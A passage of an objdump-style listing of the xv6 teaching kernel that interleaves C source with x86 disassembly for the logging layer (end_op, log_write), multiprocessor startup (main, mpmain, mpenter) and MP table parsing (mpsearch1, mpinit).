sleep with locks. commit(); acquire(&log.lock); 80102c9d: 83 ec 0c sub $0xc,%esp 80102ca0: 68 80 26 11 80 push $0x80112680 80102ca5: e8 e6 19 00 00 call 80104690 <acquire> log.committing = 0; wakeup(&log); 80102caa: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) if(do_commit){ // call commit w/o holding locks, since not allowed // to sleep with locks. commit(); acquire(&log.lock); log.committing = 0; 80102cb1: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102cb8: 00 00 00 wakeup(&log); 80102cbb: e8 30 14 00 00 call 801040f0 <wakeup> release(&log.lock); 80102cc0: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102cc7: e8 74 1a 00 00 call 80104740 <release> 80102ccc: 83 c4 10 add $0x10,%esp } } 80102ccf: 8d 65 f4 lea -0xc(%ebp),%esp 80102cd2: 5b pop %ebx 80102cd3: 5e pop %esi 80102cd4: 5f pop %edi 80102cd5: 5d pop %ebp 80102cd6: c3 ret 80102cd7: 89 f6 mov %esi,%esi 80102cd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi log.committing = 1; } else { // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); 80102ce0: 83 ec 0c sub $0xc,%esp 80102ce3: 68 80 26 11 80 push $0x80112680 80102ce8: e8 03 14 00 00 call 801040f0 <wakeup> } release(&log.lock); 80102ced: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102cf4: e8 47 1a 00 00 call 80104740 <release> 80102cf9: 83 c4 10 add $0x10,%esp acquire(&log.lock); log.committing = 0; wakeup(&log); release(&log.lock); } } 80102cfc: 8d 65 f4 lea -0xc(%ebp),%esp 80102cff: 5b pop %ebx 80102d00: 5e pop %esi 80102d01: 5f pop %edi 80102d02: 5d pop %ebp 80102d03: c3 ret int do_commit = 0; acquire(&log.lock); log.outstanding -= 1; if(log.committing) panic("log.committing"); 80102d04: 83 ec 0c sub $0xc,%esp 80102d07: 68 c4 77 10 80 push $0x801077c4 80102d0c: e8 5f d6 ff ff call 80100370 <panic> 80102d11: eb 0d jmp 80102d20 <log_write> 80102d13: 90 nop 80102d14: 90 nop 80102d15: 90 nop 80102d16: 90 nop 80102d17: 90 nop 80102d18: 90 nop 80102d19: 90 nop 80102d1a: 90 nop 80102d1b: 90 nop 80102d1c: 90 nop 80102d1d: 90 nop 80102d1e: 90 nop 80102d1f: 90 nop 80102d20 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102d20: 55 push %ebp 80102d21: 89 e5 mov %esp,%ebp 80102d23: 53 push %ebx 80102d24: 83 ec 04 sub $0x4,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d27: 8b 15 c8 26 11 80 mov 0x801126c8,%edx // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102d2d: 8b 5d 08 mov 0x8(%ebp),%ebx int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102d30: 83 fa 1d cmp $0x1d,%edx 80102d33: 0f 8f 97 00 00 00 jg 80102dd0 <log_write+0xb0> 80102d39: a1 b8 26 11 80 mov 0x801126b8,%eax 80102d3e: 83 e8 01 sub $0x1,%eax 80102d41: 39 c2 cmp %eax,%edx 80102d43: 0f 8d 87 00 00 00 jge 80102dd0 <log_write+0xb0> panic("too big a transaction"); if (log.outstanding < 1) 80102d49: a1 bc 26 11 80 mov 0x801126bc,%eax 80102d4e: 85 c0 test %eax,%eax 80102d50: 0f 8e 87 00 00 00 jle 80102ddd <log_write+0xbd> panic("log_write outside of trans"); acquire(&log.lock); 80102d56: 83 ec 0c sub $0xc,%esp 80102d59: 68 80 26 11 80 push $0x80112680 80102d5e: e8 2d 19 00 00 call 80104690 <acquire> for (i = 0; i < log.lh.n; i++) { 80102d63: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102d69: 83 c4 10 add $0x10,%esp 80102d6c: 83 fa 00 cmp $0x0,%edx 80102d6f: 7e 50 jle 80102dc1 <log_write+0xa1> if (log.lh.block[i] == b->blockno) // log absorbtion 80102d71: 8b 4b 08 mov 0x8(%ebx),%ecx panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 80102d74: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102d76: 3b 0d cc 26 11 80 cmp 0x801126cc,%ecx 80102d7c: 75 0b jne 80102d89 <log_write+0x69> 80102d7e: eb 38 jmp 80102db8 <log_write+0x98> 80102d80: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4) 80102d87: 74 2f je 80102db8 <log_write+0x98> panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 80102d89: 83 c0 01 add $0x1,%eax 80102d8c: 39 d0 cmp %edx,%eax 80102d8e: 75 f0 jne 80102d80 <log_write+0x60> if (log.lh.block[i] == b->blockno) // log absorbtion break; } log.lh.block[i] = b->blockno; 80102d90: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) if (i == log.lh.n) log.lh.n++; 80102d97: 83 c2 01 add $0x1,%edx 80102d9a: 89 15 c8 26 11 80 mov %edx,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102da0: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102da3: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102daa: 8b 5d fc mov -0x4(%ebp),%ebx 80102dad: c9 leave } log.lh.block[i] = b->blockno; if (i == log.lh.n) log.lh.n++; b->flags |= B_DIRTY; // prevent eviction release(&log.lock); 80102dae: e9 8d 19 00 00 jmp 80104740 <release> 80102db3: 90 nop 80102db4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { if (log.lh.block[i] == b->blockno) // log absorbtion break; } log.lh.block[i] = b->blockno; 80102db8: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4) 80102dbf: eb df jmp 80102da0 <log_write+0x80> 80102dc1: 8b 43 08 mov 0x8(%ebx),%eax 80102dc4: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102dc9: 75 d5 jne 80102da0 <log_write+0x80> 80102dcb: eb ca jmp 80102d97 <log_write+0x77> 80102dcd: 8d 76 00 lea 0x0(%esi),%esi log_write(struct buf *b) { int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) panic("too big a transaction"); 80102dd0: 83 ec 0c sub $0xc,%esp 80102dd3: 68 d3 77 10 80 push $0x801077d3 80102dd8: e8 93 d5 ff ff call 80100370 <panic> if (log.outstanding < 1) panic("log_write outside of trans"); 80102ddd: 83 ec 0c sub $0xc,%esp 80102de0: 68 e9 77 10 80 push $0x801077e9 80102de5: e8 86 d5 ff ff call 80100370 <panic> 80102dea: 66 90 xchg %ax,%ax 80102dec: 66 90 xchg %ax,%ax 80102dee: 66 90 xchg %ax,%ax 80102df0 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102df0: 55 push %ebp 80102df1: 89 e5 mov %esp,%ebp 80102df3: 53 push %ebx 80102df4: 83 ec 04 sub $0x4,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102df7: e8 94 09 00 00 call 80103790 <cpuid> 80102dfc: 89 c3 mov %eax,%ebx 80102dfe: e8 8d 09 00 00 call 80103790 <cpuid> 80102e03: 83 ec 04 sub $0x4,%esp 80102e06: 53 push %ebx 80102e07: 50 push %eax 80102e08: 68 04 78 10 80 push $0x80107804 80102e0d: e8 4e d8 ff ff call 80100660 <cprintf> idtinit(); // load idt register 80102e12: e8 39 2d 00 00 call 80105b50 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102e17: e8 f4 08 00 00 call 80103710 <mycpu> 80102e1c: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102e1e: b8 01 00 00 00 mov $0x1,%eax 80102e23: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102e2a: e8 c1 0c 00 00 call 80103af0 <scheduler> 80102e2f: 90 nop 80102e30 <mpenter>: } // Other CPUs jump here from entryother.S. static void mpenter(void) { 80102e30: 55 push %ebp 80102e31: 89 e5 mov %esp,%ebp 80102e33: 83 ec 08 sub $0x8,%esp switchkvm(); 80102e36: e8 05 3e 00 00 call 80106c40 <switchkvm> seginit(); 80102e3b: e8 00 3d 00 00 call 80106b40 <seginit> lapicinit(); 80102e40: e8 9b f7 ff ff call 801025e0 <lapicinit> mpmain(); 80102e45: e8 a6 ff ff ff call 80102df0 <mpmain> 80102e4a: 66 90 xchg %ax,%ax 80102e4c: 66 90 xchg %ax,%ax 80102e4e: 66 90 xchg %ax,%ax 80102e50 <main>: // Bootstrap processor starts running C code here. // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { 80102e50: 8d 4c 24 04 lea 0x4(%esp),%ecx 80102e54: 83 e4 f0 and $0xfffffff0,%esp 80102e57: ff 71 fc pushl -0x4(%ecx) 80102e5a: 55 push %ebp 80102e5b: 89 e5 mov %esp,%ebp 80102e5d: 53 push %ebx 80102e5e: 51 push %ecx // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102e5f: bb 80 27 11 80 mov $0x80112780,%ebx // Allocate a real stack and switch to it, first // doing some setup required for memory allocator to work. int main(void) { kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102e64: 83 ec 08 sub $0x8,%esp 80102e67: 68 00 00 40 80 push $0x80400000 80102e6c: 68 88 5c 11 80 push $0x80115c88 80102e71: e8 3a f5 ff ff call 801023b0 <kinit1> kvmalloc(); // kernel page table 80102e76: e8 65 42 00 00 call 801070e0 <kvmalloc> mpinit(); // detect other processors 80102e7b: e8 70 01 00 00 call 80102ff0 <mpinit> lapicinit(); // interrupt controller 80102e80: e8 5b f7 ff ff call 801025e0 <lapicinit> seginit(); // segment descriptors 80102e85: e8 b6 3c 00 00 call 80106b40 <seginit> picinit(); // disable pic 80102e8a: e8 31 03 00 00 call 801031c0 <picinit> ioapicinit(); // another interrupt controller 80102e8f: e8 4c f3 ff ff call 801021e0 <ioapicinit> consoleinit(); // console hardware 80102e94: e8 07 db ff ff call 801009a0 <consoleinit> uartinit(); // serial port 80102e99: e8 72 2f 00 00 call 80105e10 <uartinit> pinit(); // process table 80102e9e: e8 4d 08 00 00 call 801036f0 <pinit> tvinit(); // trap vectors 80102ea3: e8 08 2c 00 00 call 80105ab0 <tvinit> binit(); // buffer cache 80102ea8: e8 93 d1 ff ff call 80100040 <binit> fileinit(); // file table 80102ead: e8 9e de ff ff call 80100d50 <fileinit> ideinit(); // disk 80102eb2: e8 09 f1 ff ff call 80101fc0 <ideinit> // Write entry code to unused memory at 0x7000. // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102eb7: 83 c4 0c add $0xc,%esp 80102eba: 68 8a 00 00 00 push $0x8a 80102ebf: 68 8c a4 10 80 push $0x8010a48c 80102ec4: 68 00 70 00 80 push $0x80007000 80102ec9: e8 72 19 00 00 call 80104840 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102ece: 69 05 e0 28 11 80 b0 imul $0xb0,0x801128e0,%eax 80102ed5: 00 00 00 80102ed8: 83 c4 10 add $0x10,%esp 80102edb: 05 80 27 11 80 add $0x80112780,%eax 80102ee0: 39 d8 cmp %ebx,%eax 80102ee2: 76 6f jbe 80102f53 <main+0x103> 80102ee4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(c == mycpu()) // We've started already. 80102ee8: e8 23 08 00 00 call 80103710 <mycpu> 80102eed: 39 d8 cmp %ebx,%eax 80102eef: 74 49 je 80102f3a <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102ef1: e8 8a f5 ff ff call 80102480 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; 80102ef6: 05 00 10 00 00 add $0x1000,%eax *(void(**)(void))(code-8) = mpenter; 80102efb: c7 05 f8 6f 00 80 30 movl $0x80102e30,0x80006ff8 80102f02: 2e 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102f05: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102f0c: 90 10 00 // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); *(void**)(code-4) = stack + KSTACKSIZE; 80102f0f: a3 fc 6f 00 80 mov %eax,0x80006ffc *(void(**)(void))(code-8) = mpenter; *(int**)(code-12) = (void *) V2P(entrypgdir); lapicstartap(c->apicid, V2P(code)); 80102f14: 0f b6 03 movzbl (%ebx),%eax 80102f17: 83 ec 08 sub $0x8,%esp 80102f1a: 68 00 70 00 00 push $0x7000 80102f1f: 50 push %eax 80102f20: e8 0b f8 ff ff call 80102730 <lapicstartap> 80102f25: 83 c4 10 add $0x10,%esp 80102f28: 90 nop 80102f29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi // wait for cpu to finish mpmain() while(c->started == 0) 80102f30: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102f36: 85 c0 test %eax,%eax 80102f38: 74 f6 je 80102f30 <main+0xe0> // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102f3a: 69 05 e0 28 11 80 b0 imul $0xb0,0x801128e0,%eax 80102f41: 00 00 00 80102f44: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102f4a: 05 80 27 11 80 add $0x80112780,%eax 80102f4f: 39 c3 cmp %eax,%ebx 80102f51: 72 95 jb 80102ee8 <main+0x98> tvinit(); // trap vectors binit(); // buffer cache fileinit(); // file table ideinit(); // disk startothers(); // start other processors kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102f53: 83 ec 08 sub $0x8,%esp 80102f56: 68 00 00 00 8e push $0x8e000000 80102f5b: 68 00 00 40 80 push $0x80400000 80102f60: e8 bb f4 ff ff call 80102420 <kinit2> userinit(); // first user process 80102f65: e8 76 08 00 00 call 801037e0 <userinit> mpmain(); // finish this processor's setup 80102f6a: e8 81 fe ff ff call 80102df0 <mpmain> 80102f6f: 90 nop 80102f70 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f70: 55 push %ebp 80102f71: 89 e5 mov %esp,%ebp 80102f73: 57 push %edi 80102f74: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102f75: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f7b: 53 push %ebx uchar *e, *p, *addr; addr = P2V(a); e = addr+len; 80102f7c: 8d 1c 16 lea (%esi,%edx,1),%ebx } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102f7f: 83 ec 0c sub $0xc,%esp uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 80102f82: 39 de cmp %ebx,%esi 80102f84: 73 48 jae 80102fce <mpsearch1+0x5e> 80102f86: 8d 76 00 lea 0x0(%esi),%esi 80102f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102f90: 83 ec 04 sub $0x4,%esp 80102f93: 8d 7e 10 lea 0x10(%esi),%edi 80102f96: 6a 04 push $0x4 80102f98: 68 18 78 10 80 push $0x80107818 80102f9d: 56 push %esi 80102f9e: e8 3d 18 00 00 call 801047e0 <memcmp> 80102fa3: 83 c4 10 add $0x10,%esp 80102fa6: 85 c0 test %eax,%eax 80102fa8: 75 1e jne 80102fc8 <mpsearch1+0x58> 80102faa: 8d 7e 10 lea 0x10(%esi),%edi 80102fad: 89 f2 mov %esi,%edx 80102faf: 31 c9 xor %ecx,%ecx 80102fb1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { int i, sum; sum = 0; for(i=0; i<len; i++) sum += addr[i]; 80102fb8: 0f b6 02 movzbl (%edx),%eax 80102fbb: 83 c2 01 add $0x1,%edx 80102fbe: 01 c1 add %eax,%ecx sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 80102fc0: 39 fa cmp %edi,%edx 80102fc2: 75 f4 jne 80102fb8 <mpsearch1+0x48> uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102fc4: 84 c9 test %cl,%cl 80102fc6: 74 10 je 80102fd8 <mpsearch1+0x68> { uchar *e, *p, *addr; addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) 80102fc8: 39 fb cmp %edi,%ebx 80102fca: 89 fe mov %edi,%esi 80102fcc: 77 c2 ja 80102f90 <mpsearch1+0x20> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; } 80102fce: 8d 65 f4 lea -0xc(%ebp),%esp addr = P2V(a); e = addr+len; for(p = addr; p < e; p += sizeof(struct mp)) if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) return (struct mp*)p; return 0; 80102fd1: 31 c0 xor %eax,%eax } 80102fd3: 5b pop %ebx 80102fd4: 5e pop %esi 80102fd5: 5f pop %edi 80102fd6: 5d pop %ebp 80102fd7: c3 ret 80102fd8: 8d 65 f4 lea -0xc(%ebp),%esp 80102fdb: 89 f0 mov %esi,%eax 80102fdd: 5b pop %ebx 80102fde: 5e pop %esi 80102fdf: 5f pop %edi 80102fe0: 5d pop %ebp 80102fe1: c3 ret 80102fe2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102fe9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102ff0 <mpinit>: return conf; } void mpinit(void) { 80102ff0: 55 push %ebp 80102ff1: 89 e5 mov %esp,%ebp 80102ff3: 57 push %edi 80102ff4: 56 push %esi 80102ff5: 53 push %ebx 80102ff6: 83 ec 1c sub $0x1c,%esp uchar *bda; uint p; struct mp *mp; bda = (uchar *) P2V(0x400); if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80102ff9: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80103000: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80103007: c1 e0 08 shl $0x8,%eax 8010300a: 09 d0 or %edx,%eax 8010300c: c1 e0 04 shl $0x4,%eax 8010300f: 85 c0 test %eax,%eax 80103011: 75 1b jne 8010302e <mpinit+0x3e> if((mp = mpsearch1(p, 1024))) return mp; } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) 80103013: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 8010301a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80103021: c1 e0 08 shl $0x8,%eax 80103024: 09 d0 or %edx,%eax 80103026: c1 e0 0a shl $0xa,%eax 80103029: 2d 00 04 00 00 sub $0x400,%eax uint p; struct mp *mp; bda = (uchar *) P2V(0x400); if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ if((mp = mpsearch1(p, 1024))) 8010302e: ba 00 04 00 00 mov $0x400,%edx 80103033: e8 38 ff ff ff call 80102f70 <mpsearch1> 80103038: 85 c0 test %eax,%eax 8010303a: 89 45 e4 mov %eax,-0x1c(%ebp) 8010303d: 0f 84 38 01 00 00 je 8010317b <mpinit+0x18b> mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103043: 8b 45 e4 mov -0x1c(%ebp),%eax 80103046: 8b 58 04 mov 0x4(%eax),%ebx 80103049: 85 db test %ebx,%ebx 8010304b: 0f 84 44 01 00 00 je 80103195 <mpinit+0x1a5> return 0; conf = (struct mpconf*) P2V((uint) mp->physaddr); 80103051: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi if(memcmp(conf, "PCMP", 4) != 0) 80103057: 83 ec 04 sub $0x4,%esp 8010305a: 6a 04 push $0x4 8010305c: 68 1d 78 10 80 push $0x8010781d 80103061: 56 push %esi 80103062: e8 79 17 00 00 call 801047e0 <memcmp> 80103067: 83 c4 10 add $0x10,%esp 8010306a: 85 c0 test %eax,%eax 8010306c: 0f 85 23 01 00 00 jne 80103195 <mpinit+0x1a5> return 0; if(conf->version != 1 && conf->version != 4) 80103072: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax 80103079: 3c 01 cmp $0x1,%al 8010307b: 74 08 je 80103085 <mpinit+0x95> 8010307d: 3c 04 cmp $0x4,%al 8010307f: 0f 85 10 01 00 00 jne 80103195 <mpinit+0x1a5> return 0; if(sum((uchar*)conf, conf->length) != 0) 80103085: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 8010308c: 85 ff test %edi,%edi 8010308e: 74 21 je 801030b1 <mpinit+0xc1> 80103090: 31 d2 xor %edx,%edx 80103092: 31 c0 xor %eax,%eax 80103094: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi sum += addr[i]; 80103098: 0f b6 8c 03 00 00 00 movzbl -0x80000000(%ebx,%eax,1),%ecx 8010309f: 80 sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 801030a0: 83 c0 01 add $0x1,%eax sum += addr[i]; 801030a3: 01 ca add %ecx,%edx sum(uchar *addr, int len) { int i, sum; sum = 0; for(i=0; i<len; i++) 801030a5: 39 c7 cmp %eax,%edi 801030a7: 75 ef jne 80103098 <mpinit+0xa8> conf = (struct mpconf*) P2V((uint) mp->physaddr); if(memcmp(conf, "PCMP", 4) != 0) return 0; if(conf->version != 1 && conf->version != 4) return 0; if(sum((uchar*)conf, conf->length) != 0) 801030a9: 84 d2 test %dl,%dl 801030ab: 0f 85 e4 00 00 00 jne 80103195 <mpinit+0x1a5> struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 801030b1: 85 f6 test %esi,%esi 801030b3: 0f 84 dc 00 00 00 je 80103195 <mpinit+0x1a5> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 801030b9: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax 801030bf: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801030c4: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx 801030cb: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); ismp = 1; 801030d1: bb 01 00 00 00 mov $0x1,%ebx lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 801030d6: 01 d6 add %edx,%esi 801030d8: 90 nop 801030d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801030e0: 39 c6 cmp %eax,%esi 801030e2: 76 23 jbe 80103107 <mpinit+0x117> 801030e4: 0f b6 10 movzbl (%eax),%edx switch(*p){ 801030e7: 80 fa 04 cmp $0x4,%dl 801030ea: 0f 87 c0 00 00 00 ja 801031b0 <mpinit+0x1c0> 801030f0: ff 24 95 5c 78 10 80 jmp *-0x7fef87a4(,%edx,4) 801030f7: 89 f6 mov %esi,%esi 801030f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103100: 83 c0 08 add $0x8,%eax if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 80103103: 39 c6 cmp %eax,%esi 80103105: 77 dd ja 801030e4 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 80103107: 85 db test %ebx,%ebx 80103109: 0f 84 93 00 00 00 je 801031a2 <mpinit+0x1b2> panic("Didn't find a suitable machine"); if(mp->imcrp){ 8010310f: 8b 45 e4 mov -0x1c(%ebp),%eax 80103112: 80 78 0c 00 cmpb $0x0,0xc(%eax) 80103116: 74 15 je 8010312d <mpinit+0x13d> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103118: ba 22 00 00 00 mov $0x22,%edx 8010311d: b8 70 00 00 00 mov $0x70,%eax 80103122: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103123: ba 23 00 00 00 mov $0x23,%edx 80103128: ec in (%dx),%al } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103129: 83 c8 01 or $0x1,%eax 8010312c: ee out %al,(%dx) // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. } } 8010312d: 8d 65 f4 lea -0xc(%ebp),%esp 80103130: 5b pop %ebx 80103131: 5e pop %esi 80103132: 5f pop %edi 80103133: 5d pop %ebp 80103134: c3 ret 80103135: 8d 76 00 lea 0x0(%esi),%esi lapic = (uint*)conf->lapicaddr; for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ switch(*p){ case MPPROC: proc = (struct mpproc*)p; if(ncpu < NCPU) { 80103138: 8b 0d e0 28 11 80 mov 0x801128e0,%ecx 8010313e: 83 f9 01 cmp $0x1,%ecx 80103141: 7e 1d jle 80103160 <mpinit+0x170> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu ncpu++; } p += sizeof(struct mpproc); 80103143: 83 c0 14 add $0x14,%eax continue; 80103146: eb 98 jmp 801030e0 <mpinit+0xf0> 80103148: 90 nop 80103149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi case MPIOAPIC: ioapic = (struct mpioapic*)p; ioapicid = ioapic->apicno; 80103150: 0f b6 50 01 movzbl 0x1(%eax),%edx p += sizeof(struct mpioapic); 80103154: 83 c0 08 add $0x8,%eax } p += sizeof(struct mpproc); continue; case MPIOAPIC: ioapic = (struct mpioapic*)p; ioapicid = ioapic->apicno; 80103157: 88 15 60 27 11 80 mov %dl,0x80112760 p += sizeof(struct mpioapic); continue; 8010315d: eb 81 jmp 801030e0 <mpinit+0xf0> 8010315f: 90 nop for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ switch(*p){ case MPPROC: proc = (struct mpproc*)p; if(ncpu < NCPU) { cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 80103160: 0f b6 50 01 movzbl 0x1(%eax),%edx 80103164: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi ncpu++; 8010316a: 83 c1 01 add $0x1,%ecx 8010316d: 89 0d e0 28 11 80 mov %ecx,0x801128e0 for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ switch(*p){ case MPPROC: proc = (struct mpproc*)p; if(ncpu < NCPU) { cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 80103173: 88 97 80 27 11 80 mov %dl,-0x7feed880(%edi) 80103179: eb c8 jmp 80103143 <mpinit+0x153> } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) return mp; } return mpsearch1(0xF0000, 0x10000); 8010317b: ba 00 00 01 00 mov $0x10000,%edx 80103180: b8 00 00 0f 00 mov $0xf0000,%eax 80103185: e8 e6 fd ff ff call 80102f70 <mpsearch1> mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 8010318a: 85 c0 test %eax,%eax } else { p = ((bda[0x14]<<8)|bda[0x13])*1024; if((mp = mpsearch1(p-1024, 1024))) return mp; } return mpsearch1(0xF0000, 0x10000); 8010318c: 89 45 e4 mov %eax,-0x1c(%ebp) mpconfig(struct mp **pmp) { struct mpconf *conf; struct mp *mp; if((mp = mpsearch()) == 0 || mp->physaddr == 0) 8010318f: 0f 85 ae fe ff ff jne 80103043 <mpinit+0x53> struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) panic("Expect to run on an SMP"); 80103195: 83 ec 0c sub $0xc,%esp 80103198: 68 22 78 10 80 push $0x80107822 8010319d: e8 ce d1 ff ff call 80100370 <panic> ismp = 0; break; } } if(!ismp) panic("Didn't find a suitable machine"); 801031a2: 83 ec 0c sub $0xc,%esp 801031a5: 68 3c 78 10 